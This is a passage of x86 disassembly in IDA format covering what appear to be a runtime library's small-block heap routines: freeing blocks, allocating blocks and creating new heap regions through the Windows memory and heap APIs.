		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41CD30
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41CD30:				; CODE XREF: sub_41CBB0+AAj
					; sub_41CBB0:loc_41CCC3j ...
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_14]
		mov	[ebp+var_30], eax


loc_41CD57:				; CODE XREF: sub_41CBB0+7Fj
		mov	ecx, [ebp+var_30]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_41CD70
		mov	[ebp+var_28], 3Fh


loc_41CD70:				; CODE XREF: sub_41CBB0+1B7j
		mov	edx, [ebp+var_C]
		and	edx, 1
		test	edx, edx
		jnz	loc_41CED4
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+var_C]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_C]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_41CDA0
		mov	[ebp+var_2C], 3Fh


loc_41CDA0:				; CODE XREF: sub_41CBB0+1E7j
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_C]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_41CDC2
		mov	[ebp+var_28], 3Fh


loc_41CDC2:				; CODE XREF: sub_41CBB0+209j
		mov	ecx, [ebp+var_2C]
		cmp	ecx, [ebp+var_28]
		jz	loc_41CECE
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		mov	ecx, [edx+4]
		cmp	ecx, [eax+8]
		jnz	loc_41CEB0
		cmp	[ebp+var_2C], 20h
		jnb	short loc_41CE45
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41CE43
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41CE43:				; CODE XREF: sub_41CBB0+279j
		jmp	short loc_41CEB0
; ---------------------------------------------------------------------------


loc_41CE45:				; CODE XREF: sub_41CBB0+234j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41CEB0
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41CEB0:				; CODE XREF: sub_41CBB0+22Aj
					; sub_41CBB0:loc_41CE43j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx


loc_41CECE:				; CODE XREF: sub_41CBB0+218j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax


loc_41CED4:				; CODE XREF: sub_41CBB0+1C8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41CEEA
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_41CFFA


loc_41CEEA:				; CODE XREF: sub_41CBB0+32Cj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41CFFA
		cmp	[ebp+var_28], 20h
		jnb	short loc_41CF93
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41CF71
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41CF71:				; CODE XREF: sub_41CBB0+3A9j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_41CFFA
; ---------------------------------------------------------------------------


loc_41CF93:				; CODE XREF: sub_41CBB0+386j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41CFD1
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_41CFD1:				; CODE XREF: sub_41CBB0+404j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx


loc_41CFFA:				; CODE XREF: sub_41CBB0+334j
					; sub_41CBB0+37Cj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_41D188
		cmp	dword_4DE660, 0
		jz	loc_41D177
		mov	eax, dword_4DE654
		shl	eax, 0Fh
		mov	ecx, dword_4DE660
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_4E0484	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4DE654
		shr	edx, cl
		mov	eax, dword_4DE660
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4DE660
		mov	[edx+8], ecx
		mov	eax, dword_4DE660
		mov	ecx, [eax+10h]
		mov	edx, dword_4DE654
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4DE660
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4DE660
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4DE660
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_41D0D5
		mov	edx, dword_4DE660
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4DE660
		mov	[ecx+4], eax


loc_41D0D5:				; CODE XREF: sub_41CBB0+50Fj
		mov	edx, dword_4DE660
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_41D177
		push	8000h
		push	0
		mov	eax, dword_4DE660
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4E0484	; VirtualFree
		mov	edx, dword_4DE660
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E0480	; RtlFreeHeap
		mov	edx, dword_4DE664
		imul	edx, 14h
		mov	eax, dword_4DE668
		add	eax, edx
		mov	ecx, dword_4DE660
		add	ecx, 14h
		sub	eax, ecx
		push	eax
		mov	edx, dword_4DE660
		add	edx, 14h
		push	edx
		mov	eax, dword_4DE660
		push	eax
		call	sub_419A90
		add	esp, 0Ch
		mov	ecx, dword_4DE664
		sub	ecx, 1
		mov	dword_4DE664, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_4DE660
		jbe	short loc_41D16B
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax


loc_41D16B:				; CODE XREF: sub_41CBB0+5B0j
		mov	ecx, dword_4DE668
		mov	dword_4DE658, ecx


loc_41D177:				; CODE XREF: sub_41CBB0+47Ej
					; sub_41CBB0+52Fj
		mov	edx, [ebp+arg_0]
		mov	dword_4DE660, edx
		mov	eax, [ebp+var_4]
		mov	dword_4DE654, eax


loc_41D188:				; CODE XREF: sub_41CBB0+58j
					; sub_41CBB0+471j
		mov	esp, ebp
		pop	ebp
		retn
sub_41CBB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D190	proc near		; CODE XREF: sub_41BEC0+4Cp
					; sub_41C230+D4p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	eax, dword_4DE664
		imul	eax, 14h
		mov	ecx, dword_4DE668
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 17h
		and	edx, 0FFFFFFF0h
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_28]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 20h
		jge	short loc_41D1DC
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_24], edx
		mov	[ebp+var_34], 0FFFFFFFFh
		jmp	short loc_41D1F1
; ---------------------------------------------------------------------------


loc_41D1DC:				; CODE XREF: sub_41D190+36j
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		or	eax, 0FFFFFFFFh
		shr	eax, cl
		mov	[ebp+var_34], eax


loc_41D1F1:				; CODE XREF: sub_41D190+4Aj
		mov	ecx, dword_4DE658
		mov	[ebp+var_18], ecx


loc_41D1FA:				; CODE XREF: sub_41D190+94j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_41D226
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_24]
		and	ecx, [eax]
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_34]
		and	eax, [edx+4]
		or	ecx, eax
		test	ecx, ecx
		jz	short loc_41D21B
		jmp	short loc_41D226
; ---------------------------------------------------------------------------


loc_41D21B:				; CODE XREF: sub_41D190+87j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_41D1FA
; ---------------------------------------------------------------------------


loc_41D226:				; CODE XREF: sub_41D190+70j
					; sub_41D190+89j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	loc_41D30D
		mov	eax, dword_4DE668
		mov	[ebp+var_18], eax


loc_41D23A:				; CODE XREF: sub_41D190+D7j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DE658
		jnb	short loc_41D269
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_24]
		and	eax, [edx]
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+4]
		or	eax, edx
		test	eax, eax
		jz	short loc_41D25E
		jmp	short loc_41D269
; ---------------------------------------------------------------------------


loc_41D25E:				; CODE XREF: sub_41D190+CAj
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_41D23A
; ---------------------------------------------------------------------------


loc_41D269:				; CODE XREF: sub_41D190+B3j
					; sub_41D190+CCj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DE658
		jnz	loc_41D30D


loc_41D278:				; CODE XREF: sub_41D190+104j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_41D296
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41D28B
		jmp	short loc_41D296
; ---------------------------------------------------------------------------


loc_41D28B:				; CODE XREF: sub_41D190+F7j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_41D278
; ---------------------------------------------------------------------------


loc_41D296:				; CODE XREF: sub_41D190+EEj
					; sub_41D190+F9j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	short loc_41D2E7
		mov	eax, dword_4DE668
		mov	[ebp+var_18], eax


loc_41D2A6:				; CODE XREF: sub_41D190+135j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DE658
		jnb	short loc_41D2C7
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+8], 0
		jz	short loc_41D2BC
		jmp	short loc_41D2C7
; ---------------------------------------------------------------------------


loc_41D2BC:				; CODE XREF: sub_41D190+128j
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_41D2A6
; ---------------------------------------------------------------------------


loc_41D2C7:				; CODE XREF: sub_41D190+11Fj
					; sub_41D190+12Aj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DE658
		jnz	short loc_41D2E7
		call	sub_41D6D0
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_41D2E7
		xor	eax, eax
		jmp	loc_41D6C1
; ---------------------------------------------------------------------------


loc_41D2E7:				; CODE XREF: sub_41D190+10Cj
					; sub_41D190+140j ...
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_41D7E0
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+10h]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jnz	short loc_41D30D
		xor	eax, eax
		jmp	loc_41D6C1
; ---------------------------------------------------------------------------


loc_41D30D:				; CODE XREF: sub_41D190+9Cj
					; sub_41D190+E2j ...
		mov	edx, [ebp+var_18]
		mov	dword_4DE658, edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0FFFFFFFFh
		jz	short loc_41D350
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_24]
		and	eax, [edx+ecx*4+44h]
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [edx+ecx*4+0C4h]
		or	eax, esi
		test	eax, eax
		jnz	short loc_41D385


loc_41D350:				; CODE XREF: sub_41D190+19Bj
		mov	[ebp+var_30], 0


loc_41D357:				; CODE XREF: sub_41D190+1F3j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [ecx+eax*4+0C4h]
		or	edx, esi
		test	edx, edx
		jnz	short loc_41D385
		mov	edx, [ebp+var_30]
		add	edx, 1
		mov	[ebp+var_30], edx
		jmp	short loc_41D357
; ---------------------------------------------------------------------------


loc_41D385:				; CODE XREF: sub_41D190+1BEj
					; sub_41D190+1E8j
		mov	eax, [ebp+var_30]
		imul	eax, 204h
		mov	ecx, [ebp+var_38]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_4], edx
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_41D3D2
		mov	[ebp+var_20], 20h
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+eax*4+0C4h]
		mov	[ebp+var_1C], edx


loc_41D3D2:				; CODE XREF: sub_41D190+226j
					; sub_41D190+259j
		cmp	[ebp+var_1C], 0
		jl	short loc_41D3EB
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		jmp	short loc_41D3D2
; ---------------------------------------------------------------------------


loc_41D3EB:				; CODE XREF: sub_41D190+246j
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+edx*8+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		sub	eax, [ebp+var_28]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 3Fh
		jle	short loc_41D41C
		mov	[ebp+var_14], 3Fh


loc_41D41C:				; CODE XREF: sub_41D190+283j
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_20]
		jz	loc_41D640
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_41D50A
		cmp	[ebp+var_20], 20h
		jge	short loc_41D49F
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_38]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41D49D
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_41D49D:				; CODE XREF: sub_41D190+2F3j
		jmp	short loc_41D50A
; ---------------------------------------------------------------------------


loc_41D49F:				; CODE XREF: sub_41D190+2AEj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41D50A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+var_18]
		mov	[edx+4], ecx


loc_41D50A:				; CODE XREF: sub_41D190+2A4j
					; sub_41D190:loc_41D49Dj ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		cmp	[ebp+var_8], 0
		jz	loc_41D640
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_10]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_41D640
		cmp	[ebp+var_14], 20h
		jge	short loc_41D5DA
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41D5B8
		mov	eax, 80000000h
		mov	ecx, [ebp+var_14]
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_41D5B8:				; CODE XREF: sub_41D190+410j
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_41D640
; ---------------------------------------------------------------------------


loc_41D5DA:				; CODE XREF: sub_41D190+3EEj
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41D617
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx


loc_41D617:				; CODE XREF: sub_41D190+46Aj
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax


loc_41D640:				; CODE XREF: sub_41D190+292j
					; sub_41D190+39Cj ...
		cmp	[ebp+var_8], 0
		jz	short loc_41D65A
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	[edx-4], eax


loc_41D65A:				; CODE XREF: sub_41D190+4B4j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax], edx
		mov	ecx, [ebp+var_28]
		add	ecx, 1
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_28]
		mov	[edx-4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		test	ecx, ecx
		jnz	short loc_41D6B3
		mov	eax, [ebp+var_18]
		cmp	eax, dword_4DE660
		jnz	short loc_41D6B3
		mov	ecx, [ebp+var_30]
		cmp	ecx, dword_4DE654
		jnz	short loc_41D6B3
		mov	dword_4DE660, 0


loc_41D6B3:				; CODE XREF: sub_41D190+501j
					; sub_41D190+50Cj ...
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_30]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		add	eax, 4


loc_41D6C1:				; CODE XREF: sub_41D190+152j
					; sub_41D190+178j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_41D190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6D0	proc near		; CODE XREF: sub_41D190+142p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DE664
		cmp	eax, dword_4DE650
		jnz	short loc_41D72B
		mov	ecx, dword_4DE650
		add	ecx, 10h
		imul	ecx, 14h
		push	ecx
		mov	edx, dword_4DE668
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E047C	; RtlReAllocateHeap
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41D713
		xor	eax, eax
		jmp	loc_41D7DB
; ---------------------------------------------------------------------------


loc_41D713:				; CODE XREF: sub_41D6D0+3Aj
		mov	ecx, [ebp+var_4]
		mov	dword_4DE668, ecx
		mov	edx, dword_4DE650
		add	edx, 10h
		mov	dword_4DE650, edx


loc_41D72B:				; CODE XREF: sub_41D6D0+Fj
		mov	eax, dword_4DE664
		imul	eax, 14h
		mov	ecx, dword_4DE668
		add	ecx, eax
		mov	[ebp+var_4], ecx
		push	41C4h
		push	8
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0478	; RtlAllocateHeap
		mov	ecx, [ebp+var_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_41D765
		xor	eax, eax
		jmp	short loc_41D7DB
; ---------------------------------------------------------------------------


loc_41D765:				; CODE XREF: sub_41D6D0+8Fj
		push	4
		push	2000h
		push	100000h
		push	0
		call	dword_4E0488	; VirtualAlloc
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
